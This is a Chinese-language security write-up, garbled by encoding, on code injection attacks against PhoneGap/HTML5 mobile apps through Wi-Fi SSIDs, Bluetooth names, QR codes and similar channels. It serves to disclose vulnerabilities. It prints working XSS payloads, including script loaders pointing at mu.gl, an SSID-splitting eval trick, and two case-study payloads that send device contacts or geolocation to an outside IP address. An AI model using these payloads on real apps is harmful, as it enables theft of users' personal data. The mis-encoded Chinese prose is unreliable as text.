0x00
ÕªÒª
»ùÓÚHTML5µÄÒÆ¶¯Ó¦ÓóÌÐò±äµÃÔ½À´Ô½ÓÚÁ÷ÐУ¬Ö÷ÒªÊÇÒòΪËûÃǸüÈÝÒ×ÔÚ²»Í¬µÄÒÆ¶¯Æ½Ì¨½øÐÐÒÆÖ²¡£»ùÓÚHTML5µÄÓ¦ÓóÌÐòʹÓñê×¼µÄWeb¼¼Êõ£¬°üÀ¨HTML5
£¬ JavaScriptºÍCSS;ËüÃÇÒÀÀµÓÚһЩÈçPhoneGapµÄÖмä¼þÓëµ×²ãµÄ²Ù×÷ϵͳ½øÐн»»¥¡£
JavaScriptÊÇÈÝÒ×Êܵ½´úÂë×¢Èë¹¥»÷µÄ£¬ÎÒÃÇÒѾ½øÐÐÁË»ùÓÚHTML5ÒÆ¶¯Ó¦ÓÃϵͳµÄÑо¿£¬ÊÔͼÆÀ¹ÀÒÀ¿¿Web¼¼ÊõµÄÒÆ¶¯Ó¦Óÿª·¢ÊÇ·ñÊǰ²È«µÄ¡£ÎÒÃǵķ¢ÏÖÊÇÏ൱¾ªÈ˵ģºÈç¹û»ùÓÚHTML5µÄÒÆ¶¯Ó¦ÓñäµÃÁ÷ÐУ¬Ëƺõ¸ù¾Ýµ±Ç°Ëùµ÷²éµÄ½á¹û£¬ÎÒÃÇÿÌì³£×öµÄ²Ù×÷¿ÉÄÜ»á±äµÃΣÏÕ£¬°üÀ¨¶þάÌõÂë¶ÁÈ¡£¬É¨ÃèWi-Fi½ÓÈëµã£¬²¥·ÅMP4ӰƬ£¬Åä¶ÔÀ¶ÑÀÉ豸µÈ¡£
³ýÁËͨ¹ýʵÀýµÄÓ¦ÓóÌÐòÑÝʾµÄ¹¥»÷£¬ÎÒÃÇÒѾÑо¿ÁË186¸öPhoneGapµÄ²å¼þ£¬Ê¹ÓÃÓ¦ÓóÌÐòÀ´ÊµÏÖ¸÷ÖÖ¹¦ÄÜ£¬·¢ÏÖÆäÖÐ11Êǿɱ»¹¥»÷µÄ¡£»¹·¢ÏÖÁËÁ½¸öÏÖʵµ±ÖеĻùÓÚHTML5µÄÓ¦ÓóÌÐò£¬ºÜÈÝÒ×Êܵ½¹¥»÷¡£
0x01 ±³¾°
»ùÓÚHTML5µÄÒÆ¶¯Ó¦ÓóÌÐò´ó¶àÊý²»ÄÜÖ±½ÓÔËÐÐÔÚÒÆ¶¯ÏµÍ³£¬ÈçAndroidºÍiOS
£¬ÒòΪÕâЩϵͳ²»Ö§³ÖHTML5ºÍJavaScript±¾Éí; WebÈÝÆ÷ÐèÒªäÖȾHTML5ÒÔ¼°Ö´ÐÐJavaScript´úÂë¡£
´ó¶àÊýÒÆ¶¯ÏµÍ³ÓÐÕâÑùµÄÈÝÆ÷£ºÔÚAndroidÖÐËüÊÇWebView£¬iOSÖÐÊÇUIWebView£¬Windows
PhoneÖÐÊÇWebBrowser¡£Îª¼òµ¥Æð¼û£¬ÎÒÃÇÒÔ϶¼ÓÃWebViewÀ´±íÊö¡£
WebView£º WebViewÖÐ×î³õ±»Éè¼ÆÎªÔÊÐí±¾µØÓ¦ÓóÌÐò´¦ÀíºÍÏÔÊ¾ÍøÒ³ÄÚÈÝ¡£Ëü»ù±¾ÉϰüµÄÍøÂçä¯ÀÀ¹¦ÄÜ×éºÏ³ÉÒ»¸öÀ࣬¿ÉÒÔǶÈëµ½Ò»¸öÓ¦ÓóÌÐò£¬»ù±¾ÉÏÊÇÍøÒ³ä¯ÀÀÆ÷Ó¦ÓóÌÐòµÄ×é¼þ¡£ÓÃWebViewÖÐÌṩµÄAPI
£¬Òƶ¯Ó¦ÓóÌÐò»¹¿ÉÒÔ×Ô¶¨ÒåWebViewÀïÃæµÄHTMLÒ³Ãæ¡£
ÓÉÓÚWebViewÖÐÓÃÓÚ¼ÓÔØWebÄÚÈÝ£¬Ëüͨ³£ÊDz»¿ÉÐŵģ¬ WebViewÏñä¯ÀÀÆ÷Ò»ÑùʵÏÖÁËÒ»¸öɳºÐ£¬Ê¹ÄÚ²¿µÄJavaScript´úÂëÖ»ÄÜÔÚÒ»¸ö¶ÀÁ¢µÄ»·¾³ÖÐÔËÐС£
ÕâÑùµÄɳÏäÊÊÓÃÓÚÍøÒ³ÄÚÈÝ£¬µ«¶ÔÓÚÒÆ¶¯Ó¦ÓóÌÐòÏÞÖÆ»¹ÊÇÌ«´ó£¬ÒòΪËü²»ÄÜ·ÃÎÊϵͳ×ÊÔ´£¬ÈçÎļþ£¬É豸´«¸ÐÆ÷£¬ÕÕÏà»úµÈ¡£
WebViewÔÚJavaScript´úÂëºÍ±¾»ú´úÂ루ÀýÈ磬 JavaµÄ£©Ö®¼ä´î½¨ÁËÒ»¸öµÄÇÅÁº¡£Õâ×ùÇÅ¿ÉÈÃJavaScript´úÂëÀ´µ÷ÓÃÖ÷»ú´úÂë¡£
ÒѾÓÐÈË¿ª·¢Á˼¸¸öÖмä¼þ¿ò¼Ü£¬°üÀ¨PhoneGap £¬ Rhomobile£¬ AppceleratorµÈ¡£
ÔÚ±¾ÎÄÖУ¬ÎÒÃÇÑ¡Ôñ°ÑÖØµã·ÅÔÚ×îÁ÷ÐеÄPhoneGap¡£È»¶ø£¬ÎÒÃǵĹ¥»÷Ò²¿ÉÒÔÓ¦ÓÃÓÚÆäËûÖмä¼þ¡£
PhoneGapºÍPhoneGap²å¼þ£ºPhoneGap°ïÖú¿ª·¢ÈËÔ±´´½¨Ê¹ÓûùÓÚHTML5±ê×¼µÄÒÆ¶¯Ó¦ÓóÌÐòWeb¡£¿ª·¢ÈËÔ±ÔÚHTML£¬JavaScriptºÍCSSÖÐдӦÓóÌÐò¡£¸ÃPhoneGapµÄ¿ò¼ÜĬÈÏÇé¿öÏÂǶÈëÒ»¸öWebViewÖÐʵÀýµÄÓ¦ÓóÌÐò£¬²¢ÒÀ¿¿Õâ¸öWebViewÀ´³ÊÏÖHTMLÒ³ÃæºÍÖ´ÐÐJavaScript´úÂë¡£
PhoneGap¼Ü¹¹Í¼

0x02 XDS¹¥»÷
ÓÐÁ½ÖÖ·½Ê½¿ÉÒÔÈÃJavaScriptµÄ×Ö·û´®µ±³É´úÂëÖ´ÐУ¬Ò»ÖÖÊÇÀûÓÃeval()
API£¬ÁíÒ»ÖÖÊÇͨ¹ýDOM APIºÍÊôÐÔ£¬Èçdocument.write(), appendChild(),
innerHTMLµÈ¡£Ò»Ð©jQueryµÄչʾAPIÒ²ÓÐÎÊÌ⣬ÀýÈçhtml()ºÍappend()¡£
// Using Script Tag. <script>alert(¡¯attack¡¯)</script>...Data... // Using the IMG Tag¡¯s onerror attribute. <IMG src=x onerror="alert(¡¯attack¡¯)">...Data... |

DOM(jQuery)չʾAPIºÍÊôÐÔ£¨¹´±íʾÄÜ´¥·¢£¬²æ±íʾ²»Äܳö·¢£©¡£
ID Channels
ÔÚijЩÇé¿öÏ£¬ÔÚÒÆ¶¯É豸½¨Á¢ÓëÍⲿ½¨Á¢Á¬½Ó֮ǰ£¬Ëü´ÓÍⲿ»ñ¶ÔÓ¦ID£¬²¢ÏÔʾ¸øÓû§¡£ÎÒÃÇÑо¿ÈçºÎÕâÑùµÄIDͨµÀÀûÓöñÒâ´úÂë×¢Èëµ½ÒÆ¶¯É豸µ±ÖС£
Wi-Fi AP
ÕÒµ½¸½½üµÄWi -Fi½ÓÈëµã£¬Ðí¶àÖÇÄÜÊÖ»úÓû§°²×°Ä³Ð©Wi-FiɨÃèÒdzÌÐò£¬É¨Ã踽½ü¿ÉÓõÄWi-FiÈȵ㣬²¢ÏÔʾËûÃǵķþÎñ¼¯±êʶ·û£¨SSID
£©¡£
ΪÁËÑÝʾ¹¥»÷£¬ÎÒÃÇÉèÖÃSSIDÏÂÃæµÄJavaScript´úÂ룺
<script>alert('attack')</script> |
³ÌÐòչʾʹÓÃjavaдµÄËùÒÔ²»»áÖ´ÐÐjs´úÂ룺

·ÇPhoneGapÓ¦ÓÃ
ʹÓÃPhoneGapʵÏֵģ¬SSID½«ÔÚWebViewÖÐÏÔʾ£¬Õâ¸ö³ÌÐòʹÓÃhtml()
APIչʾµÄSSIDµ¼ÖÂJavaScript´úÂëÖ´ÐС£

PhoneGapÓ¦ÓÃ
ͬʱÀ¶ÑÀµ±ÖÐÒ²¿ÉÄܳöÏÖÀàËÆµÄÎÊÌâ¡£
NFC¶ÁÈ¡Èí¼þµ±ÖУº

·ÇPhoneGapÓ¦ÓÃ

PhoneGapÓ¦ÓÃ
¶þάÂëɨÃ裺

·ÇPhoneGapÓ¦ÓÃ

PhoneGapÓ¦ÓÃ
MP3, MP4, and Images

·ÇPhoneGapÓ¦ÓÃ

PhoneGapÓ¦ÓÃ
µÈµÈ¡¡
0x04 ÏÞÖÆ
ÔÚ¸÷³¡¾°Öеij¤¶ÈÏÞÖÆ

¿ÉÒÔ¿´µ½Wi-Fiµ±Ö㤶ÈÏÞÖÆµÄ×î¶Ì¡£
¿ÉʹÓôúÂ룺
<script src=//mu.gl></script |
img±êÇ©µÄ»°£º
<img src onerror=d=document;b=d.createElement(¡¯script¡¯);d.body.appendChild(b);b.src=¡¯http://mu.gl¡¯> |
Èç¹ûÓÐʹÓÃjQueryµÄ»°£º
<img src onerror=$.getScript('http://mu.gl')> |
Èç¹ûÒªÔÚSSIDµ±ÖÐʹÓõϰ£¬¿ÉÒÔʹÓþµäµÄ·Ö¸î´úÂëµÄ·½Ê½£º
<img src onerror=a="$.getScr"> <img src onerror=b="ipt(¡¯ht"> <img src onerror=c="tp://mu."> <img src onerror=d="gl¡¯)"> <img src onerror=eval(a+b+c+d)> |
0x06 °¸ÀýÑо¿
¿´¿´ÏÖʵµ±ÖÐÊÇ·ñÓÐapp¿ÉÒÔ±»¹¥»÷£º
°¸Àý1 £º GWT Mobile PhoneGap Showcase¡£
ÕâÊÇÒ»¸öPhoneGapµÄÑÝʾӦÓóÌÐò£¬ËüÏò¿ª·¢ÈËԱչʾÁËÈçºÎʹÓÃPhoneGapµÄºÍÆä²å¼þ¡£¸ÃÓ¦ÓóÌÐò°üÀ¨ÁËËùÓеÄÄÚÖòå¼þºÍÈý¸öµÚÈý·½²å¼þ£¬ChildBrowser²å¼þ£¬À¶ÑÀ²å¼þ£¬
Facebook²å¼þ¡£
¸ÃappʹÓÃinnerHTMLÀ´ÏÔʾÀ¶ÑÀÉ豸µÄÃû³Æ¡£ÎÒÃǰÑÀ¶ÑÀÃû³Æ¸Ä³É¹¥»÷´úÂëÊÔһϣº
< img src = x onerror = PhoneGap.exec(function(a) { m = ''; for (i = 0; i < a.length; i++) { m += a[i].displayName + '\n'; } alert(m); document.write('<img src=http://128.230.213.66:5556?c=' + m + '>'); }, function(e) {}, 'Contacts', 'search', [['displayName'], {}]) > |


°¸Àý2£ºRewardingYourselfÓ¦ÓóÌÐò¡£
ɨÃè¶þάÂëµÄ³ÌÐò£¬Õ¹Ê¾Ê¹ÓõÄinnerHTML£¬ÎÒÃÇÔÚ¶þάÂëµ±ÖвåÈëÈçÏ´úÂ룺
< img src = x onerror = navigator.geolocation.watchPosition( function(loc) { m = 'Latitude: ' + loc.coords.latitude + '\n' + 'Longitude: ' + loc.coords.longitude; alert(m); b = document.createElement('img'); b.src = 'http: //128.230.213.66:5556?c='+m })> |
ʹÓÃgeolocation.watchPosition»ñÈ¡µ±Ç°Î»Öá£



|